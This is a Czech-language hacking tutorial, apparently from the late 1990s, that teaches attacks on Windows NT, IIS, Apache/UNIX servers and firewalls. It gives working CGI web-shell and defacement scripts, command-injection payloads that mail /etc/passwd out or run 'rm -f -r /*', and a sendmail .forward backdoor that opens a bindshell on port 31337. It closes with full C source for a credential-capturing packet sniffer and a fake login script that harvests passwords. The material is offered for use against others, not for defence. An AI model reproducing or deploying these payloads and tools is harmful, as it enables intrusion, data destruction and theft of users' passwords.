ZÁKLADY HACKINGU NA INTERNETU
ZÁKLADY HACKINGU NA INTERNETU
 

Základní techniky

Útok na firewall

Markus Hess

ZÁKLADNÍ TECHNIKY

Program z názvem WinNuke dokáže dálkově restartovat server běžící pod win NT.Ovládání programu je ďábelsky jednoduché.Stačí zadat adresu počítače běžící pod win NT.Účinek je rychlý a smrtící.Během několika sekund se Win NT zřítí,veškeré data v paměti RAM jsou zničena a celý počítač se restartuje.Tyto restarty se opakují stále pokud nezasáhne administrátor. Tento problé řeší Service Pack 3.Rychle ho aplikujte.

  • Asi nejznámější chybou v MS IIS je to že stačí napsat pekelně dlouhé URL (mezi 4 KB 8 KB) a server se zablokuje.To jsou služby www,gopher a FTP.
  • Jak najít díru v Index serveru? Jedna z komponent Hit Counter funguje opravdu zvláštně. Umožňuje číst soubory které jinak číst nejdou. Pokud se jedná o skript ASP,který může obsahovat heslo k serveru SQL je útočník v půli cesty do průniku do systému.Získat ho lze pomocí skriptů které jsou nainstalovány jako příklady:
    http://jmeno_serveru/samples/search/queryhit.htm
    S omezením vyhledávání pouze na soubory ASP:"#filename=*.asp".
  • Další tip. Red Buttom je program který využívá portů 137,138 a 139 na počítači s nainstalovanými Win NT.Tento program čte registry,umožňuje zjistit jména všech zdílených (i skrytých) zdrojů na serveru a vytvoří nový sdílený zdroj přístupný skupině everyone, tj opravdu kohokoli. Lze takto získat soubory uložené na na lokálním disku v četně šifrovaných hesel. Další možnosti této utility jsou odborníkovy jasné.
  • Jak vytížit CPU na 100% ? Jde o chybu v RPC.Pokud se někdo přihlásí na server NT telnetem na porty 53,135 nebo 1031,napíše asi 10 znaků, stiskne enter a ukončí telnet,Windows NT najednou začnou mít tolik "práce",že zatížení CPU stoupne na 100%. Pokud na systému běží i DNS server,lze napadnout i tuto službu a vyřadit ji z činnosti. Starším předchůdcem chyby v MS Index Serveru je chyba v MS IIS ve spojení s ASP (active server pages).ASP jsou programy která interpretuje www server.Kromě vlastního kódu mohou obsahovat i hesla k serveru SQL.apod. Typická cesta k nějakému souboru ASP je např.http://server_name/default. Skript na této stránce je interpretován MS IIS a výsledek je předán vašemu prohlížeči.Pokud toto URL trochu modifikujete,např na http://server_name/default.asp.(všimněte si tečky na konci!),je místo toho zobrazen samotný program.Kdokoli ho můze stahnout,přečíst.

No tak to by snad stačilo k Windows NT.Teď se podíváme na UNIX (LINUX). Tady je situace jednoduchá. Tento stařec již má všechny mouchy vychytané. Není to jednoduché až téměř nemožné, je-li zde vše dobře nastavené. Jak dálkově změnit WWW stránku? Je to vůbec možné? Při troše štěstí ano.

Jak tedy na to? Nejprve si vytvoříme svůj hacknutý soubor index.html a speciální CGI script.V UNIXU bývají v adresáři /home/ftp/incoming/ nastavena přístupová práva na rwxrwxrwx to je právo zapisu všem. Do tohoto adresáře pomocí FTP přeneseme tyto dva soubory.To je index.html a např.hack.cgi.Důležitý je program který je v cgi scriptu tady je:

 

#!/bin/sh
echo 'Content-Type: text/html'
echo
cp /home/ftp/incoming/index.html /www/htdocs/

Jednoduché že.Ale má to problém,musíme dostat nějakým způsobem tento cgi script do adresáře kde je povoleno provádění CGI scriptů nejčastěji cgi-bin.Toto se nastavuje v souboru httpd.conf direktivou ScriptAlias. Jinak aby bylo jasno je řeč o WWW serveru Apache kterých pracuje pod UNIXEM vetšina.Ten je reprezentován souborem httpd. Podaří-li se nám dostat tento cgi script do tohoto adresáře stačí jenom napsat ve vašem prohlížeči URL k tomuto cgi scriptu a stisknout enter. Ale to ještě není vše.WWW server musí pracovat jako root.To nastavuje správce opět v souboru httpd.conf.A kořen dokumentů musí být umístněn v adresáři /www/htdocs/. Ještě jeden tip.Instalujeme-li server Apache tak vytvoří automaticky adresář cgi-bin ve kterém je standartně umístněn skript z názvem test-cgi. Tento skript by měl správce serveru odstanit,protože poskutuje důležité informace případnému útočníkovy. Je-li tento skript přítomen stačí napsat toto URL: http://jmeno_serveru/cgi-bin/test-cgi poté se na obrazovce prohlížeče objevý zajímavé informace o serveru Apache.

Další možností je odhalit bezpečnostní díru v CGI skriptu.Jak na to? Objevý-li se nám na na řádku např.URL http://www.firma.cz/cgi-bin/jmeno.cgi? můžeme na konec přidat toto.http://www.firma.cz/cgi-bin/jmeno.cgi?;who Středník je nebezpečný znak a může způsobit při špatně napsaném cgi skiptu to že se provede příkaz zapsaný na konci řádku.V tomto případě příkaz who. Ale může to být třeba cat /etc/passwd.

Dále bych se chtěl ještě zmínit o CGI scriptu který umožňuje vzdálené zadávání příkazů operačnímu systému UNIX(LINUX) přes WWW prohlížeč. Používá značky ISINDEX.Opět tento CGI script musí být umístněn v odresáři kde je povoleno spouštění CGI scriptů.Většinou CGI-BIN. Zde je je:

#!/bin/sh
echo "Content-type: text/html"
echo
echo ''
echo ''
echo ''
echo '

This is a searchable index. Enter search keywords: 

'
$1

Tento CGI script když se nám podaří propašovat nějakým způsobem do adresáře CGI-BIN a napíšeme k němu ve svém prohlížeči cestu,tak nám nábýdne textové pole do kterého můžeme zadávat příkazy.Např.ls;ps;cat ale třeba i halt pracuje-li www server Apache jako root.Co tento příkaz způsobí je zřejmé z jeho názvu.
Jinak jestli hacker potřebuje zjistit jaký
www server používá vzdálený systém,žádný problém.Použijeme telnet,ale ne ten co je ve Windows 95 Musíme použít takový který umožňule přípojování na různé porty.Nejlepší je samozřejmě interaktivní telnet z linuxu.Takže se připojíme na port 80: % telnet 193.179.4.2 80 Poté zadejte GET / announclist.html HTTP/1.0 Měli by jste dostat odpověď velmi rozsáhlou. IP adresu jsem si vymyslel ale je to adresa http://www.hrad.cz (aktualní).

Když jsem u telnetu tak to je samozřejmě standartní hackerský program. Lze se připojovat na různé porty a zkoušet zadávat různé textové i netextové řetězce a pokoušet se proniknout do systému.Nejznámější je samozřejmě SMTP server který pracuje na portu 25 kde naslouchá.Jedná se o program sendmail spuštěný jako démon.Tento program bývá na některých systémech kompilován se vzdáleným ladícím přístupem zadáme:

% telnet 193.179.4.2 25
Trying 193.179.4.2 ....
Connected to 193.179.4.2
Escape character is '^]'.
220 192179.4.2 Sendmail 4.1/1.36 ready at Mon, 15 Jun 97 09:51:56
EDT

Pak zadáme příkaz:

debug

Jestliže budete dotázani na heslo máte naději.

Když jsme u elektronické pošty je potřeba se na ní podívat trochu více. Posláním v hodného emailu nezkušenému uživateli lze získat jeho přístupová hesla.Např.tento html dokument odešle na váš email přístupové heslo vzdáleného uživatele.Samozřejmě pokud to vzdálený uživatel neprokoukne.

Změna hesla.Po určité době je nutné změnit heslo.Zadejte nejprve staré a pak nové heslo.Hesla se nevypisují z důvodu jejich utajení.

Staré heslo:

Nové heslo:

Pomocí elektronické pošty lze i Internet zahltit.Při psaní emailové adresy lze přikázat kudy má dopis jít. Používá se následující formát:
uživatel%doména1@doména2
Dopis je dopraven k cílovému poštmistrovi pro doménu "doména2".Ten se podívá na uživatelskou část a uvidí v ní %.Odtrhne z adresy zavináč a vše za ním, poslední procento nahradí zavináčem a odešle dopis na vzniklou adresu. Díku tomuto mechanizmu můžeme diktovat kudy má dopis projít. Domén můžeme uvést veliké množství.Jestliže se domluví více hackerů a sítí se přenáší velké objemy dat,např.binární soubory o velikosti asi 500KB přes obrovské množství serverů,lze celou Internetovou doménu(např.cz), scela zablokovat na mnoho hodin. Dále je možné se přihlásit telnetem na port 79 kde pracuje služba finger. Ta někdy umožňuje vzdálená zadávání tohoto příkazu a tím získávání informací o uživatelích na systému. Jinak je zřejmé že jestliže se vám podáří získat přístup do shelu jako root tak je vše jasné.A jestliže navíc je povoleno přihlášení uživatele root jak telnetem tak přes FTP tak není co řešit ale taková situace nastane jenom zřídka.

Zde je seznam služeb standartně spuštěných na systému UNIX (LINUX).

SLUŽBA    PORT
ftp-data 20
ftp 21
telnet 23
SMTP 25
Whois 43
Gopher 70
Finger 79
http 80
pop-3 110

Na tyto porty je možno se připojovat telnetem a zkoušet.

Hodně práce a času nám ušetří různé hackerské nástroje které jsou dostupné např.na http://www.security.sk nebo na http://www.rootshell.com

Dále mužeme zkoušet pracujeme-li na LINUXU tak zvané r příkazy jedná se o rlogin,rcp,rsh.

Příklad:

%rlogin 193.179.4.2

a uvidíme co se bude dít.

%rcp 193.179.4.2: /etc/passwd /home/

Tímto příkazem se pokoušíme zkopírovat super tajný soubor passwd na svůj systém.

%rsh 193.179.4.2 ps -aux 

Tímto příkazem se snažíme zjistit s jakými oprávněními je spuštěm www server na vzdáleném systému. Jenom tak na okraj jestliže chcete zjistit IP adresu vzdáleného systému stačí použít program ping (je i ve win 95). Příklad:

ping www.hrad.cz
Pinging from 193.179.4.2:bytes=32 time 60ms TTL64
Další možnost jak napadnout vzdálený systém je program tftp napíšem:
$ tftp 193.179.4.2 
tftp> get /etc/passwd
Error code 1: File not found
tftp> quit

Jestliže dostaneme takovouto odpověď máme smůlu.Služba je zakázaná. Vraťme se zpátky k fenoménu dneška a to je WWW.Jak známo vetšina internetových serverů pracuje pod systémem UNIX (LINUX).A ty používají hlavně www server Apache.Zavádející historický pokus o zabezpečení bylo to že k portům menším než 1024 se smí připojit jen superuživatel root. Jak známo tak httpd naslouchá na portu 80.To znamená že alespoň jednou musí být server spuštěn jako root.A tady je naše šance.Může se stát že administrátor spustí i kopie serveru jako root(nejnovejší verze Apache to již neumožňuje).
WWW server nám pošle formulář v HTML skriptu.Náš počítač formulář interpretuje a zobrazí ho na obrazovce.My jej vyplníme a poté stiskneme tlačítko Submit.Náš počítač pak pošle formulář zpět na server,kde se vyvolá URL,k jehož konci je připojen obsah formuláře.Server je nastaven tak aby toto URL spouštělo skript přidávající obsah formuláře do souboru. Část tohoto skriptu může vypadat takto:

echo "You have sent the following message: $MESSAGE"

Smyslem je aby nám server poslal potvrzující hlášení,ve kterém se vše,co jsme napsali,cituje v řetězci $MESSAGE.
Pokud my budeme vychytralý,napíšeme jako obsah $MESSAGE následující text:

'mail 193.179.4.2 /etc/passwd'

Protože zpětné uvozovky jsou interpretem systému UNIX považovány za omezovače příkazů,může tento text mít natolik alarmující důsledek jako odeslání super tajného hesla k nám.
Nebo chcete-li na serveru úplně vyčistit pevný disk můžeme napsat:

'rm -f -r /*'

Ještě jedna finta.Jedná se o velmi starou fintu se souborem .forward Jetliže nemáte přístup do shellu ale jenom přes ftp,pak je to přímo idealní situace pro použití souboru .forward. Stačí uploadovat soubor.forward do domácího adresáře.Sendmail totiž standartně umožňuje execování souborů.Vyrobíme nasledující .forvard soubor

$ cat .forward
|/tmp/scriptik
$

Tento soubor je třeba uploadovat do domácího adresáře.Pak si vytvoříme soubor "scriptik".

$ cat scriptik
/tmp/bindshell &
$

Bindshell je program který hodí shell na port 31337.Aby se faily mohli exnout musí být executable.Mužeme to udělat takto:

$ ftp -nv
ftp> o server.provider.cz
Conected to server.provider.cz
ftp> user login heslo
ftp> cd /tmp
ftp> quote site chmod 755 bindshell
ftp> quote site chmod 755 scriptik
ftp> close

Potom stačí na toto konto poslat nějaký mail.Sendmail spustí /tmp/scriptik a ten spustí bindshell. Pak se telnetem připojíme na port 31337 např. takto $ telnet 193.179.4.2 31337 A dostanete se shellu.Pak můžete zadat tento příkaz.

cat /etc/passwd > /home/ftp/incoming/ukradena_hesla

Tímto se obsah tajného souboru passwd přenese do souburu ukradena_hesla v adresáři incoming.

Pak na soubor passwd pustíme program John the Ripper a máme hesel dostatek. Možná i účet roota.Ještě se může stát že anonymní adresář má nastaveny práva na 777.Pak by to byl čistý vnější průnik.

Útok na firewall (FW)

Útočná metodologie uvažuje čtyři řůzné úrovně útoku na FW.První úroveň spočívá v pokusu o nenápadné získání informací,které mouhou posloužit v další vlně útoku.Druhá úroveň útoku představuje již patrný bezprostřední sběr informací,ale ještě ne aktivní pokus o průnik do sítě.Třetí úroveň útoku se pokouší zdolat FW a narušit za ním lokalizované klienty,přičemž toto úsilí je inicializováno z klienta vně napadené sítě.Čtvrtá úroveň útoku pak představuje pokus narušit bezpečnostní software FW,jeho konfiguraci nebo operační systém z klienta uvnitř atakované sítě.

  1. První úroveň útoku. Jde o pokus získat informace o cílové síti,napadení z vnějších zdrolů tak aby se o tom cílová organizace nedozvěděla.Prvním krokem je zkontrolovat vstup do databáse na Network Information Centre (NIC).Použijeme telnet do rs.internic.net a pak zadáme příkaz whois.To nám poskytne informace o adresách a lokalitách.Bude nám to také naznačovat složitost cílových skupin sítě.Jestliže administrativní kontakt je shodný se zónou a technickým kontaktem,pak to může znamenat,že síťové skupiny mohou být v Internetu malé a relativně nové.Jestliže cílové organizace nemají svůj vlastní nameserver,pak je organizace asi malá a relativně krátkou dobu připojená do Internetu.Příkaz whois vylistuje primární a sekundární nameservery spolu s doménovým jménem. Poznámka:(lze použít i www přes http://rs.internic.net) Dalším krokem v této první úrovni je použití příkazu nslookup abychom získali maximum informací o cílové organizaci.Připojíme se raději k sekundárnímu nameserveru než k primárnímu a pokuste se o tak zvaný zóne transfer.Jestliže je zóne transfer povolen,budeme mít velice cenné informace o vnitřní cílivé síti. Tak lze zjistit počet stanic a topologii cílové sítě.Zóne transwer je však ve většině sítí zakázán.Příkazem nslookup můžeme zjistit spoustu dalších informací,např.po použití příkazu set type=MX můžeme zjistit konfiguraci pošty a IP adresy poštovní serverů atd.Posledním krokem této úrovně je hledání veřejně přístupných informací o cílové organizaci.Velkým zdrojem informací mohou být výroční zprávy a obchodní publikace,spojení s jinými organizacemi atd.Tyto informace mohou být užitečné ze kterých kanálů útočit.
  2. Druhá úroveň útoku. Sondování již může být objeveno cílovou organizací.Prvním krokem je pokus přenos DNS zóny z primárního name serveru,ačkoli většina organizací přenos zóny zakazuje,jak bylo řečeno výše.Ten kdo na FW útočí musí v dalším kroku vyhledat sítě a v nich konkrétní uzly.Zabere to hodně času,zvlášť pokud je síť za FW rozhlehlá.Tento krok lze i při nedostatku času přeskočit Pro vyhledávání existují dvě metody:
    • PING
    • POKUS PŘIPOJIT SE NA TCP PORT 25

    Směrovače mohou ztratit ICMP pakety,proto je žádoucí abychom posílali nejméně tři pakety na každou adresu.Osobně doporučuji pět paketů. Připojení na TCP port je pomalejší,protože spojení čeká na time-out jestliže je adresa nedostupná.Každý uzel který odpoví,je pak potenciálním bodem vstupu do vnitřní sítě.Tímto způsobem si vytvoříme seznam potenciálních uzlů (cílů) a měli bychom zjistit,jaké služby na nich běží. Předpokládá to uskutečnění připojení na každý TCP port na každé cílové stanici.

  3. Třetí úroveň útok a proniknutí. Tato metodologie předpokládá,že v tomto okamžiku máme k dispozici seznam uzlů a služeb vnitřní sítě z FW,teprve potom můžeme zahájit útok. Existují dva druhy útoků:
    1. získání přístupu do shellu FW (dokonce se můžeme stát správci systému),
    2. použití vzdálených služeb,které jsou k dispozici prostřednictvým FW a které změní kritické konfigurační soubory nebo modifikují služby,které běží na FW.

    Na FW často běží služba (např.mail démon),která není dostatečně zabezpečená Tyto služby se stanou prvním cílem útoku.Mnoho FW má slabinuv syslogd,jiné dovolují spojení telnetem z adres IP externích sítí.Ještě lepší je když na FW je velký počet neaktivních účtů,které měli být dávno vymazány. Dokonce i když je FW odolný proti proniknutí z externích lokalit,vnitřní uzly a uzly v demilitarizované zóně (DMZ)jsou často přístupné z vnější sítě.Už takto kvalifikované útoky mohou způsobit nefunkčnost napadené sítě.A to nám přeci jde.Po té jsme uskutečnili veškeré útoky proti FW,je nutno obrátit pozornost na uzly v cílové síti.Zkusíme telnet popř.rlogin posíme se získat přístup do shellu.Další možností získání přístupu je využít slabiny v NFS,NIS a sendmailu.Velkou službu nám udělají hackerské nástroje,které jsou dostupné na mnoha FTP serverech.Proniknutí do jednoho uzlu interní sítě akceleruje proces proniknutí do celé vnitřní sítě.Je tomu tak proto,že uzly v TCP/IP nemají mezi sebou zabezpečené vztahy.

  4. Modifikace FW. Jde o napadení FW s cílem modifikovat FW,povolit volný přístup a jednoduchý přístup do vnitřní sítě.Nainstalujeme program "sniffer" do segmentu sítě, kde je FW který čeká na přihlášení administrátora.

Některé hackerské programy:SATAN-program pro pátrání po bezpečnostních chybách ve www serverech.
CRACK-louskač hesel.
ROOTKIT-Nástroj pro privilegovaný přístup do systému UNIX (LINUX).
TAP-Analyzuje packety.
WINNUKE-Dálkově resetuje www servery pod Win NT.

Tak to by snad na ty firevaly stačilo.Na konec uvádím program sniffer o kterém jsem se zmínil výše.Je napsán v jazyce C.

 

PROGRAM SNIFFER:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);


struct etherpacket
{
   struct ethhdr eth;
   struct iphdr  ip;
   struct tcphdr tcp;
   char buff[8192];
}ep;

struct
{
   unsigned long      saddr;
   unsigned long      daddr;
   unsigned short     sport;
   unsigned short     dport;
   int                bytes_read;
   char               active;
   time_t             start_time;
} victim;

struct iphdr  *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG ".s"

int openintf(char *d)
{
   int fd;
   struct ifreq ifr;
   int s;
   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
   if(fd < 0)
   {
      perror("cant get SOCK_PACKET socket");
      exit(0);
   }
   strcpy(ifr.ifr_name, d);
   s=ioctl(fd, SIOCGIFFLAGS, &ifr);
   if(s < 0)
   {
      close(fd);
      perror("cant get flags");
      exit(0);
   }
   ifr.ifr_flags |= IFF_PROMISC;
   s=ioctl(fd, SIOCSIFFLAGS, &ifr);
   if(s < 0) perror("cant set promiscuous mode");
   return fd;
}

int read_tcp(int s)
{
   int x;
   while(1)
   {
      x=read(s, (struct etherpacket *)&ep, sizeof(ep));
      if(x > 1) 
      {
         if(filter()==0) continue;
         x=x-54;
         if(x < 1) continue;
         return x;
      }
   }
}

int filter(void)
{
   int p;
   p=0;
   if(ip->protocol != 6) return 0;
   if(victim.active != 0)   
      if(victim.bytes_read > CAPTLEN)
      {
         fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
         clear_victim();
         return 0;
      }
   if(victim.active != 0)
      if(time(NULL) > (victim.start_time + TIMEOUT))
      {
         fprintf(fp, "\n----- [Timed Out]\n");
         clear_victim();
         return 0;
      }      
   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
   if(ntohs(tcp->dest)==110) p=1; /* pop3 */
   if(ntohs(tcp->dest)==109) p=1; /* pop2 */
   if(ntohs(tcp->dest)==143) p=1; /* imap2 */
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
   if(victim.active == 0)
      if(p == 1)
         if(tcp->syn == 1)
         {
            victim.saddr=ip->saddr;
            victim.daddr=ip->daddr;
            victim.active=1;
            victim.sport=tcp->source;
            victim.dport=tcp->dest;
            victim.bytes_read=0;
            victim.start_time=time(NULL);
            print_header();
         }  
   if(tcp->dest != victim.dport) return 0;
   if(tcp->source != victim.sport) return 0;
   if(ip->saddr != victim.saddr) return 0;
   if(ip->daddr != victim.daddr) return 0;
   if(tcp->rst == 1) 
   {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [RST]\n");
      clear_victim();
      return 0;
   }
   if(tcp->fin == 1) 
   {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [FIN]\n");
      clear_victim();
      return 0;
   }
   return 1;
}

   
int print_header(void)
{
   fprintf(fp, "\n");
   fprintf(fp, "%s => ", hostlookup(ip->saddr));
   fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));   
}

int print_data(int datalen, char *data)
{
   int i=0;
   int t=0;
   
   victim.bytes_read=victim.bytes_read+datalen;
   for(i=0;i != datalen;i++)
   {
      if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
      if(t > 75) {t=0;fprintf(fp, "\n");}
   }
}


main(int argc, char **argv)
{
   s=openintf("eth0");
   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   
   signal(SIGHUP, SIG_IGN);
   signal(SIGINT, cleanup);
   signal(SIGTERM, cleanup);
   signal(SIGKILL, cleanup);
   signal(SIGQUIT, cleanup);
   if(argc == 2) fp=stdout;
   else fp=fopen(TCPLOG, "at");
   if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
   clear_victim();
   for(;;)
   {
      read_tcp(s);
      if(victim.active != 0)
        print_data(htons(ip->tot_len)-
        sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
      fflush(fp);      
   }   
}

char *hostlookup(unsigned long int in)
{ 
   static char blah[1024];
   struct in_addr i;
   struct hostent *he;
   
   i.s_addr=in;
   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
   if(he == NULL) strcpy(blah, inet_ntoa(i));
   else strcpy(blah, he->h_name);
   return blah;
}

void clear_victim(void)
{
   victim.saddr=0;
   victim.daddr=0;
   victim.sport=0;
   victim.dport=0;
   victim.active=0;
   victim.bytes_read=0;
   victim.start_time=0;
}

void cleanup(int sig)
{
   fprintf(fp, "Exiting...\n");
   close(s);
   fclose(fp);
   exit(0);
}

technologie a postupy největšího hakera všech dob - Markuse Hesse

Psal se rok 1988 když Markus Hess pronikal do Milnetu (předchudce Internetu) a kradl s tamních UNIXů informace a prodával je za tisíce marek KGB.Netušil ale že ho sledují,dokonce tak dokonale, že monitorovali každý jeho úder na klávesnici na tiskárně.
V této době jěště systém
UNIX měl tolik chyb že to pro odborníka jeho kalibru nebyl problém.Pro průniky používal terminálového klienta který podporoval protokol telnet.Z Německa se přes družicové spoje připojoval na vojenské počítače se systémem UNIX.Zde se dostával do systému pomocí různých vyhrazených hesel jako např.SYSTEM,MANAGER,FIELID,SERVICE,USER aj.Nebo dokonce systém hesla vůbec nepoužíval.
Pak pomocí
specialního programu kterým nahradil program atrun v UNIXU. Progran atrun je specialní program který se spouští každých 5 minut a provádí kontrolu celého systému.Tento program pracuje z nejvyšší prioritou.A právě tento program nahradil svým vlastním programem který se za 5 minut spustil a způsobil to že se z obyčejného uživatele stal superuživatel.K tomu aby mohl jako běžný uživatel zkopírovat tento svůj program do systémové oblasti,kam normálně nemůže,využil chyby v editoru GNU-emacs.Tento editor totiž umožňuje i běžnému uživately kopírovat do systémových oblastí kam by to normálním uživatelům jít nemělo. Na konec ho ale chytli při činu.

Příklad programu který používal ke kradení hesel:

echo -n "Vítejte v počítači LBL UNIX-4"
echo -n "Prosím přihlašte se"
echo -n "LOGIN:"
read account name
echo -n "Uveďte své přístupové heslo:"
(stty -echo;\
read password;\
stty -echo;\
echo $account_name $password >> /tmp/ .pub)
echo "Lituji,zkuste to znovu."